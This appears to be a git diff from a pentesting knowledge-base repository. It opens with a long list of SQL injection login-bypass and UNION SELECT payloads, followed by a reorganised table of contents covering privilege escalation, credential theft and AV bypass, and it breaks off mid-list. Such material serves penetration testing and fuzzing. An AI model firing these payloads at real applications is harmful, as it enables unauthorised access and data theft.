+")oR(2)-- 2 +")oR(2)# +")oR(2)/* +")oR(2)oR(" +")oR 2-- 2 +")oR 2# +")oR 2/* +")oR 2 oR(" +")oR/**/2-- 2 +")oR/**/2# +")oR/**/2/* +")oR/**/2/**/oR(" +')oR'2'=('2 +')oR'2'='2'oR(' +')oR'2'='2'-- 2 +')oR'2'='2'# +')oR'2'='2'/* +')oR'2'='2'oR(' +')oR 2=2-- 2 +')oR 2=2# +')oR 2=2/* +')oR 2=2 oR(' +')oR/**/2=2-- 2 +')oR/**/2=2# +')oR/**/2=2/* +')oR/**/2=2/**/oR(' +')oR(2)=2-- 2 +')oR(2)=2# +')oR(2)=2/* +')oR(2)=2/* +')oR(2)=(2)oR(' +')oR'2'='2' LimIT 1-- 2 +')oR'2'='2' LimIT 1# +')oR'2'='2' LimIT 1/* +')oR(2)=(2)LimIT(1)-- 2 +')oR(2)=(2)LimIT(1)# +')oR(2)=(2)LimIT(1)/* +")oR"2"=("2 +")oR"2"="2"oR(" +")oR"2"="2"-- 2 +")oR"2"="2"# +")oR"2"="2"/* +")oR"2"="2"oR(" +")oR 2=2-- 2 +")oR 2=2# +")oR 2=2/* +")oR 2=2 oR(" +")oR/**/2=2-- 2 +")oR/**/2=2# +")oR/**/2=2/* +")oR/**/2=2/**/oR(" +")oR(2)=2-- 2 +")oR(2)=2# +")oR(2)=2/* +")oR(2)=2/* +")oR(2)=(2)oR(" +")oR"2"="2" LimIT 1-- 2 +")oR"2"="2" LimIT 1# +")oR"2"="2" LimIT 1/* +")oR(2)=(2)LimIT(1)-- 2 +")oR(2)=(2)LimIT(1)# +")oR(2)=(2)LimIT(1)/* +')oR true-- 2 +')oR true# +')oR true/* +')oR true oR(' +')oR(true)-- 2 +')oR(true)# +')oR(true)/* +')oR(true)oR(' +')oR/**/true-- 2 +')oR/**/true# +')oR/**/true/* +')oR/**/true/**/oR(' +")oR true-- 2 +")oR true# +")oR true/* +")oR true oR(" +")oR(true)-- 2 +")oR(true)# +")oR(true)/* +")oR(true)oR(" +")oR/**/true-- 2 +")oR/**/true# +")oR/**/true/* +")oR/**/true/**/oR(" +')oR'2'LiKE('2 +')oR'2'LiKE'2'-- 2 +')oR'2'LiKE'2'# +')oR'2'LiKE'2'/* +')oR'2'LiKE'2'oR(' +')oR(2)LiKE(2)-- 2 +')oR(2)LiKE(2)# +')oR(2)LiKE(2)/* +')oR(2)LiKE(2)oR(' +")oR"2"LiKE("2 +")oR"2"LiKE"2"-- 2 +")oR"2"LiKE"2"# +")oR"2"LiKE"2"/* +")oR"2"LiKE"2"oR(" +")oR(2)LiKE(2)-- 2 +")oR(2)LiKE(2)# +")oR(2)LiKE(2)/* +")oR(2)LiKE(2)oR(" +admin')-- 2 +admin')# +admin')/* +admin")-- 2 +admin")# +') UniON SElecT 1,2-- 2 +') UniON SElecT 1,2,3-- 2 +') UniON SElecT 1,2,3,4-- 2 +') UniON SElecT 1,2,3,4,5-- 2 +') UniON SElecT 1,2# +') UniON SElecT 1,2,3# +') UniON SElecT 1,2,3,4# +') UniON SElecT 1,2,3,4,5# +')UniON(SElecT(1),2)-- 2 +')UniON(SElecT(1),2,3)-- 2 +')UniON(SElecT(1),2,3,4)-- 2 +')UniON(SElecT(1),2,3,4,5)-- 2 +')UniON(SElecT(1),2)# +')UniON(SElecT(1),2,3)# +')UniON(SElecT(1),2,3,4)# +')UniON(SElecT(1),2,3,4,5)# +") UniON SElecT 1,2-- 2 +") UniON SElecT 1,2,3-- 2 +") UniON SElecT 1,2,3,4-- 2 +") UniON SElecT 1,2,3,4,5-- 2 +") UniON SElecT 1,2# +") UniON SElecT 1,2,3# +") UniON SElecT 1,2,3,4# +") UniON SElecT 1,2,3,4,5# +")UniON(SElecT(1),2)-- 2 +")UniON(SElecT(1),2,3)-- 2 +")UniON(SElecT(1),2,3,4)-- 2 +")UniON(SElecT(1),2,3,4,5)-- 2 +")UniON(SElecT(1),2)# +")UniON(SElecT(1),2,3)# +")UniON(SElecT(1),2,3,4)# +")UniON(SElecT(1),2,3,4,5)# +')||('2 +')||2-- 2 +')||'2'||(' +')||2# +')||2/* +')||2||(' +")||("2 +")||2-- 2 +")||"2"||(" +")||2# +")||2/* +")||2||(" +')||'2'=('2 +')||'2'='2'||(' +')||2=2-- 2 +')||2=2# +')||2=2/* +')||2=2||(' +")||"2"=("2 +")||"2"="2"||(" +")||2=2-- 2 +")||2=2# +")||2=2/* +")||2=2||(" +')||2=(2)LimIT(1)-- 2 +')||2=(2)LimIT(1)# +')||2=(2)LimIT(1)/* +")||2=(2)LimIT(1)-- 2 +")||2=(2)LimIT(1)# +")||2=(2)LimIT(1)/* +')||true-- 2 +')||true# +')||true/* +')||true||(' +")||true-- 2 +")||true# +")||true/* +")||true||(" +')||'2'LiKE('2 +')||'2'LiKE'2'-- 2 +')||'2'LiKE'2'# +')||'2'LiKE'2'/* +')||'2'LiKE'2'||(' +')||(2)LiKE(2)-- 2 +')||(2)LiKE(2)# +')||(2)LiKE(2)/* +')||(2)LiKE(2)||(' +")||"2"LiKE("2 +")||"2"LiKE"2"-- 2 +")||"2"LiKE"2"# +")||"2"LiKE"2"/* +")||"2"LiKE"2"||(" +")||(2)LiKE(2)-- 2 +")||(2)LiKE(2)# +")||(2)LiKE(2)/* +")||(2)LiKE(2)||(" +' UnION SELeCT 1,2` +' UnION SELeCT 1,2,3` +' UnION SELeCT 1,2,3,4` +' UnION SELeCT 1,2,3,4,5` +" UnION SELeCT 1,2` +" UnION SELeCT 1,2,3` +" UnION SELeCT 1,2,3,4` +" UnION SELeCT 1,2,3,4,5` \ No newline at end of file diff --git a/1911-pentesting-fox.md b/1911-pentesting-fox.md index 2875b54f..5b95d63c 100644 --- a/1911-pentesting-fox.md +++ b/1911-pentesting-fox.md @@ -16,7 +16,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - And more services: ubiquiti-discover udp "Ubiquiti Networks Device" @@ -27,7 +26,7 @@ dht udp "DHT Nodes" ![](<.gitbook/assets/image (273).png>) -![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>) InfluxDB diff --git a/README.md b/README.md index e95afa4b..92ec9ca7 100644 --- a/README.md +++ b/README.md @@ -22,14 +22,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - ![](.gitbook/assets/p.png) **Welcome to the page where you will find each hacking trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.** Here you can find a little **introduction:** -## [**Pentesting Methodology**](pentesting-methodology.md) +## [**Pentesting Methodology**](generic-methodologies-and-resources/pentesting-methodology.md) Here you will find the **typical flow** that **you should follow when pentesting** one or more **machines**. @@ -59,7 +58,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm ### [Intrigiti](https://www.intigriti.com) -![](<.gitbook/assets/image (638).png>) +![](<.gitbook/assets/image (620) (2) (1) (1) (2).png>) **Intrigiti** is the **Europe's #1** ethical hacking and **bug bounty platform** @@ -69,7 +68,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm ### [**INE**](https://ine.com) -![](.gitbook/assets/ine\_logo-3-.jpg) +![](<.gitbook/assets/INE\_Logo (3).jpg>) [**INE**](https://ine.com) is a great platform to start learning or **improve** your **IT knowledge** through their huge range of **courses**. I personally like and have completed many from the [**cybersecurity section**](https://ine.com/pages/cybersecurity). **INE** also provides with the official courses to prepare the **certifications** from [**eLearnSecurity**](https://elearnsecurity.com)**.** diff --git a/SUMMARY.md b/SUMMARY.md index d2d23c99..05462a94 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -1,371 +1,373 @@ # Table of contents +## 👾 Welcome! + * [HackTricks](README.md) -* [About the author](about-the-author.md) -* [Getting Started in Hacking](getting-started-in-hacking.md) -* [Pentesting Methodology](pentesting-methodology.md) -* [External Recon Methodology](external-recon-methodology/README.md) - * [Github Leaked Secrets](external-recon-methodology/github-leaked-secrets.md) -* [Phishing Methodology](phishing-methodology/README.md) - * [Clone a Website](phishing-methodology/clone-a-website.md) - * [Detecting Phising](phishing-methodology/detecting-phising.md) - * [Phishing Documents](phishing-methodology/phishing-documents.md) -* [Brute Force - CheatSheet](brute-force.md) -* [Exfiltration](exfiltration.md) -* [Tunneling and Port Forwarding](tunneling-and-port-forwarding.md) -* [Search Exploits](search-exploits.md) +* [About the author](welcome/about-the-author.md) +* [Getting Started in Hacking](welcome/getting-started-in-hacking.md) -# Shells +## 🤓 Generic Methodologies & Resources -* [Shells (Linux, Windows, MSFVenom)](shells/shells/README.md) - * [MSFVenom - CheatSheet](shells/shells/msfvenom.md) - * [Shells - Windows](shells/shells/windows.md) - * [Shells - Linux](shells/shells/linux.md) - * [Full TTYs](shells/shells/full-ttys.md) +* [Pentesting Methodology](generic-methodologies-and-resources/pentesting-methodology.md) +* [External Recon Methodology](generic-methodologies-and-resources/external-recon-methodology/README.md) + * [Github Leaked Secrets](generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md) +* [Pentesting Network](generic-methodologies-and-resources/pentesting-network/README.md) + * [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) + * [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md) + * [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md) + * [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md) + * [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md) + * [IDS and IPS Evasion](generic-methodologies-and-resources/pentesting-network/ids-evasion.md) + * [DHCPv6](generic-methodologies-and-resources/pentesting-network/dhcpv6.md) +* [Pentesting Wifi](generic-methodologies-and-resources/pentesting-wifi/README.md) + * [Evil Twin EAP-TLS](generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md) +* [Phishing Methodology](generic-methodologies-and-resources/phishing-methodology/README.md) + * [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md) + * [Detecting Phising](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md) + * [Phishing Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md) +* [Brute Force - CheatSheet](generic-methodologies-and-resources/brute-force.md) +* [Exfiltration](generic-methodologies-and-resources/exfiltration.md) +* [Tunneling and Port Forwarding](generic-methodologies-and-resources/tunneling-and-port-forwarding.md) +* [Search Exploits](generic-methodologies-and-resources/search-exploits.md) +* [Shells (Linux, Windows, MSFVenom)](generic-methodologies-and-resources/shells/README.md) + * [MSFVenom - CheatSheet](generic-methodologies-and-resources/shells/msfvenom.md) + * [Shells - Windows](generic-methodologies-and-resources/shells/windows.md) + * [Shells - Linux](generic-methodologies-and-resources/shells/linux.md) + * [Full TTYs](generic-methodologies-and-resources/shells/full-ttys.md) -# Linux/Unix +## 🐧 Linux Hardening -* [Checklist - Linux Privilege Escalation](linux-unix/linux-privilege-escalation-checklist.md) -* [Linux Privilege Escalation](linux-unix/privilege-escalation/README.md) - * [PAM - Pluggable Authentication Modules](linux-unix/privilege-escalation/pam-pluggable-authentication-modules.md) - * [SELinux](linux-unix/privilege-escalation/selinux.md) - * [Logstash](linux-unix/privilege-escalation/logstash.md) - * [Containerd (ctr) Privilege Escalation](linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md) - * [Docker Basics & Breakout](linux-unix/privilege-escalation/docker-breakout/README.md) - * [AuthZ& AuthN - Docker Access Authorization Plugin](linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md) - * [Docker Breakout / Privilege Escalation](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md) - * [release\_agent exploit - Relative Paths to PIDs](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release\_agent-exploit-relative-paths-to-pids.md) - * [Docker release\_agent cgroups escape](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md) - * [Sensitive Mounts](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts.md) - * [Seccomp](linux-unix/privilege-escalation/docker-breakout/seccomp.md) - * [AppArmor](linux-unix/privilege-escalation/docker-breakout/apparmor.md) - * [Namespaces](linux-unix/privilege-escalation/docker-breakout/namespaces.md) - * [Docker --privileged](linux-unix/privilege-escalation/docker-breakout/docker-privileged.md) - * [Abusing Docker Socket for Privilege Escalation](linux-unix/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation.md) - * [Node inspector/CEF debug abuse](linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md) - * [Escaping from Jails](linux-unix/privilege-escalation/escaping-from-limited-bash.md) - * [Cisco - vmanage](linux-unix/privilege-escalation/cisco-vmanage.md) - * [D-Bus Enumeration & Command Injection Privilege Escalation](linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md) - * [Interesting Groups - Linux PE](linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md) - * [lxd/lxc Group - Privilege escalation](linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md) - * [ld.so exploit example](linux-unix/privilege-escalation/ld.so.conf-example.md) - * [Linux Capabilities](linux-unix/privilege-escalation/linux-capabilities.md) - * [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-unix/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md) - * [Payloads to execute](linux-unix/privilege-escalation/payloads-to-execute.md) - * [RunC Privilege Escalation](linux-unix/privilege-escalation/runc-privilege-escalation.md) - * [Splunk LPE and Persistence](linux-unix/privilege-escalation/splunk-lpe-and-persistence.md) - * [SSH Forward Agent exploitation](linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md) - * [Socket Command Injection](linux-unix/privilege-escalation/socket-command-injection.md) - * [Wildcards Spare tricks](linux-unix/privilege-escalation/wildcards-spare-tricks.md) - * [Linux Active Directory](linux-unix/privilege-escalation/linux-active-directory.md) -* [Useful Linux Commands](linux-unix/useful-linux-commands/README.md) - * [Bypass Bash Restrictions](linux-unix/useful-linux-commands/bypass-bash-restrictions.md) -* [Linux Environment Variables](linux-unix/linux-environment-variables.md) +* [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) +* [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) + * [PAM - Pluggable Authentication Modules](linux-hardening/privilege-escalation/pam-pluggable-authentication-modules.md) + * [SELinux](linux-hardening/privilege-escalation/selinux.md) + * [Logstash](linux-hardening/privilege-escalation/logstash.md) + * [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) + * [Docker Basics & Breakout](linux-hardening/privilege-escalation/docker-breakout/README.md) + * [AuthZ& AuthN - Docker Access Authorization Plugin](linux-hardening/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md) + * [Docker Breakout / Privilege Escalation](linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/README.md) + * [release\_agent exploit - Relative Paths to PIDs](linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release\_agent-exploit-relative-paths-to-pids.md) + * [Docker release\_agent cgroups escape](linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md) + * [Sensitive Mounts](linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts.md) + * [Seccomp](linux-hardening/privilege-escalation/docker-breakout/seccomp.md) + * [AppArmor](linux-hardening/privilege-escalation/docker-breakout/apparmor.md) + * [Namespaces](linux-hardening/privilege-escalation/docker-breakout/namespaces.md) + * [Docker --privileged](linux-hardening/privilege-escalation/docker-breakout/docker-privileged.md) + * [Abusing Docker Socket for Privilege Escalation](linux-hardening/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation.md) + * [Node inspector/CEF debug abuse](linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md) + * [Escaping from Jails](linux-hardening/privilege-escalation/escaping-from-limited-bash.md) + * [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) + * [D-Bus Enumeration & Command Injection Privilege Escalation](linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md) + * [Interesting Groups - Linux PE](linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md) + * [lxd/lxc Group - Privilege escalation](linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md) + * [ld.so exploit example](linux-hardening/privilege-escalation/ld.so.conf-example.md) + * [Linux Capabilities](linux-hardening/privilege-escalation/linux-capabilities.md) + * [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-hardening/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md) + * [Payloads to execute](linux-hardening/privilege-escalation/payloads-to-execute.md) + * [RunC Privilege Escalation](linux-hardening/privilege-escalation/runc-privilege-escalation.md) + * [Splunk LPE and Persistence](linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md) + * [SSH Forward Agent exploitation](linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md) + * [Socket Command Injection](linux-hardening/privilege-escalation/socket-command-injection.md) + * [Wildcards Spare tricks](linux-hardening/privilege-escalation/wildcards-spare-tricks.md) + * [Linux Active Directory](linux-hardening/privilege-escalation/linux-active-directory.md) +* [Useful Linux Commands](linux-hardening/useful-linux-commands/README.md) + * [Bypass Bash Restrictions](linux-hardening/useful-linux-commands/bypass-bash-restrictions.md) +* [Linux Environment Variables](linux-hardening/linux-environment-variables.md) -# MacOS +## 🍏 MacOS Hardening -* [MacOS Security & Privilege Escalation](macos/macos-security-and-privilege-escalation/README.md) - * [Mac OS Architecture](macos/macos-security-and-privilege-escalation/mac-os-architecture.md) - * [MacOS MDM](macos/macos-security-and-privilege-escalation/macos-mdm/README.md) - * [Enrolling Devices in Other Organisations](macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md) - * [MacOS Protocols](macos/macos-security-and-privilege-escalation/macos-protocols.md) - * [MacOS Red Teaming](macos/macos-security-and-privilege-escalation/macos-red-teaming.md) - * [MacOS Serial Number](macos/macos-security-and-privilege-escalation/macos-serial-number.md) - * [MacOS Apps - Inspecting, debugging and Fuzzing](macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md) +* [MacOS Security & Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/README.md) + * [Mac OS Architecture](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture.md) + * [MacOS MDM](macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md) + * [Enrolling Devices in Other Organisations](macos-hardening/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md) + * [MacOS Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md) + * [MacOS Red Teaming](macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md) + * [MacOS Serial Number](macos-hardening/macos-security-and-privilege-escalation/macos-serial-number.md) + * [MacOS Apps - Inspecting, debugging and Fuzzing](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md) -# Windows +## 🪟 Windows Hardening -* [Checklist - Local Windows Privilege Escalation](windows/checklist-windows-privilege-escalation.md) -* [Windows Local Privilege Escalation](windows/windows-local-privilege-escalation/README.md) - * [AppendData/AddSubdirectory permission over service registry](windows/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md) - * [Create MSI with WIX](windows/windows-local-privilege-escalation/create-msi-with-wix.md) - * [DPAPI - Extracting Passwords](windows/windows-local-privilege-escalation/dpapi-extracting-passwords.md) - * [SeImpersonate from High To System](windows/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md) - * [Access Tokens](windows/windows-local-privilege-escalation/access-tokens.md) - * [ACLs - DACLs/SACLs/ACEs](windows/windows-local-privilege-escalation/acls-dacls-sacls-aces.md) - * [Dll Hijacking](windows/windows-local-privilege-escalation/dll-hijacking.md) - * [From High Integrity to SYSTEM with Name Pipes](windows/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md) - * [Integrity Levels](windows/windows-local-privilege-escalation/integrity-levels.md) - * [JAWS](windows/windows-local-privilege-escalation/jaws.md) - * [JuicyPotato](windows/windows-local-privilege-escalation/juicypotato.md) - * [Leaked Handle Exploitation](windows/windows-local-privilege-escalation/leaked-handle-exploitation.md) - * [MSI Wrapper](windows/windows-local-privilege-escalation/msi-wrapper.md) - * [Named Pipe Client Impersonation](windows/windows-local-privilege-escalation/named-pipe-client-impersonation.md) - * [PowerUp](windows/windows-local-privilege-escalation/powerup.md) - * [Privilege Escalation Abusing Tokens](windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - * [Privilege Escalation with Autoruns](windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md) - * [RottenPotato](windows/windows-local-privilege-escalation/rottenpotato.md) - * [Seatbelt](windows/windows-local-privilege-escalation/seatbelt.md) - * [SeDebug + SeImpersonate copy token](windows/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md) - * [Windows C Payloads](windows/windows-local-privilege-escalation/windows-c-payloads.md) -* [Active Directory Methodology](windows/active-directory-methodology/README.md) - * [Abusing Active Directory ACLs/ACEs](windows/active-directory-methodology/acl-persistence-abuse.md) - * [AD information in printers](windows/active-directory-methodology/ad-information-in-printers.md) - * [ASREPRoast](windows/active-directory-methodology/asreproast.md) - * [BloodHound](windows/active-directory-methodology/bloodhound.md) - * [Constrained Delegation](windows/active-directory-methodology/constrained-delegation.md) - * [Custom SSP](windows/active-directory-methodology/custom-ssp.md) - * [DCShadow](windows/active-directory-methodology/dcshadow.md) - * [DCSync](windows/active-directory-methodology/dcsync.md) - * [DSRM Credentials](windows/active-directory-methodology/dsrm-credentials.md) - * [Golden Ticket](windows/active-directory-methodology/golden-ticket.md) - * [Kerberos Authentication](windows/active-directory-methodology/kerberos-authentication.md) - * [Kerberoast](windows/active-directory-methodology/kerberoast.md) - * [MSSQL Trusted Links](windows/active-directory-methodology/mssql-trusted-links.md) - * [Over Pass the Hash/Pass the Key](windows/active-directory-methodology/over-pass-the-hash-pass-the-key.md) - * [Pass the Ticket](windows/active-directory-methodology/pass-the-ticket.md) - * [Password Spraying](windows/active-directory-methodology/password-spraying.md) - * [Force NTLM Privileged Authentication](windows/active-directory-methodology/printers-spooler-service-abuse.md) - * [Privileged Accounts and Token Privileges](windows/active-directory-methodology/privileged-accounts-and-token-privileges.md) - * [Resource-based Constrained Delegation](windows/active-directory-methodology/resource-based-constrained-delegation.md) - * [Security Descriptors](windows/active-directory-methodology/security-descriptors.md) - * [Silver Ticket](windows/active-directory-methodology/silver-ticket.md) - * [Skeleton Key](windows/active-directory-methodology/skeleton-key.md) - * [Unconstrained Delegation](windows/active-directory-methodology/unconstrained-delegation.md) -* [NTLM](windows/ntlm/README.md) - * [Places to steal NTLM creds](windows/ntlm/places-to-steal-ntlm-creds.md) - * [PsExec/Winexec/ScExec](windows/ntlm/psexec-and-winexec.md) - * [SmbExec/ScExec](windows/ntlm/smbexec.md) - * [WmicExec](windows/ntlm/wmicexec.md) - * [AtExec / SchtasksExec](windows/ntlm/atexec.md) - * [WinRM](windows/ntlm/winrm.md) -* [Stealing Credentials](windows/stealing-credentials/README.md) - * [Credentials Protections](windows/stealing-credentials/credentials-protections.md) - * [Mimikatz](windows/stealing-credentials/credentials-mimikatz.md) -* [Authentication, Credentials, UAC and EFS](windows/authentication-credentials-uac-and-efs.md) -* [Basic CMD for Pentesters](windows/basic-cmd-for-pentesters.md) -* [Basic PowerShell for Pentesters](windows/basic-powershell-for-pentesters/README.md) - * [PowerView](windows/basic-powershell-for-pentesters/powerview.md) -* [AV Bypass](windows/av-bypass.md) +* [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) +* [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + * [AppendData/AddSubdirectory permission over service registry](windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md) + * [Create MSI with WIX](windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md) + * [DPAPI - Extracting Passwords](windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md) + * [SeImpersonate from High To System](windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md) + * [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) + * [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md) + * [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) + * [From High Integrity to SYSTEM with Name Pipes](windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md) + * [Integrity Levels](windows-hardening/windows-local-privilege-escalation/integrity-levels.md) + * [JAWS](windows-hardening/windows-local-privilege-escalation/jaws.md) + * [JuicyPotato](windows-hardening/windows-local-privilege-escalation/juicypotato.md) + * [Leaked Handle Exploitation](windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md) + * [MSI Wrapper](windows-hardening/windows-local-privilege-escalation/msi-wrapper.md) + * [Named Pipe Client Impersonation](windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md) + * [PowerUp](windows-hardening/windows-local-privilege-escalation/powerup.md) + * [Privilege Escalation Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) + * [Privilege Escalation with Autoruns](windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md) + * [RottenPotato](windows-hardening/windows-local-privilege-escalation/rottenpotato.md) + * [Seatbelt](windows-hardening/windows-local-privilege-escalation/seatbelt.md) + * [SeDebug + SeImpersonate copy token](windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md) + * [Windows C Payloads](windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md) +* [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md) + * [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse.md) + * [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md) + * [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md) + * [BloodHound](windows-hardening/active-directory-methodology/bloodhound.md) + * [Constrained Delegation](windows-hardening/active-directory-methodology/constrained-delegation.md) + * [Custom SSP](windows-hardening/active-directory-methodology/custom-ssp.md) + * [DCShadow](windows-hardening/active-directory-methodology/dcshadow.md) + * [DCSync](windows-hardening/active-directory-methodology/dcsync.md) + * [DSRM Credentials](windows-hardening/active-directory-methodology/dsrm-credentials.md) + * [Golden Ticket](windows-hardening/active-directory-methodology/golden-ticket.md) + * [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md) + * [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md) + * [MSSQL Trusted Links](windows-hardening/active-directory-methodology/mssql-trusted-links.md) + * [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md) + * [Pass the Ticket](windows-hardening/active-directory-methodology/pass-the-ticket.md) + * [Password Spraying](windows-hardening/active-directory-methodology/password-spraying.md) + * [Force NTLM Privileged Authentication](windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md) + * [Privileged Accounts and Token Privileges](windows-hardening/active-directory-methodology/privileged-accounts-and-token-privileges.md) + * [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md) + * [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md) + * [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md) + * [Skeleton Key](windows-hardening/active-directory-methodology/skeleton-key.md) + * [Unconstrained Delegation](windows-hardening/active-directory-methodology/unconstrained-delegation.md) +* [NTLM](windows-hardening/ntlm/README.md) + * [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md) + * [PsExec/Winexec/ScExec](windows-hardening/ntlm/psexec-and-winexec.md) + * [SmbExec/ScExec](windows-hardening/ntlm/smbexec.md) + * [WmicExec](windows-hardening/ntlm/wmicexec.md) + * [AtExec / SchtasksExec](windows-hardening/ntlm/atexec.md) + * [WinRM](windows-hardening/ntlm/winrm.md) +* [Authentication, Credentials, UAC and EFS](windows-hardening/authentication-credentials-uac-and-efs.md) +* [Stealing Credentials](windows-hardening/stealing-credentials/README.md) + * [Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md) + * [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md) +* [Basic CMD for Pentesters](windows-hardening/basic-cmd-for-pentesters.md) +* [Basic PowerShell for Pentesters](windows-hardening/basic-powershell-for-pentesters/README.md) + * [PowerView](windows-hardening/basic-powershell-for-pentesters/powerview.md) +* [AV Bypass](windows-hardening/av-bypass.md) -# Mobile Apps Pentesting +## 📱 Mobile Pentesting -* [Android APK Checklist](mobile-apps-pentesting/android-checklist.md) -* [Android Applications Pentesting](mobile-apps-pentesting/android-app-pentesting/README.md) - * [Android Applications Basics](mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md) - * [Android Task 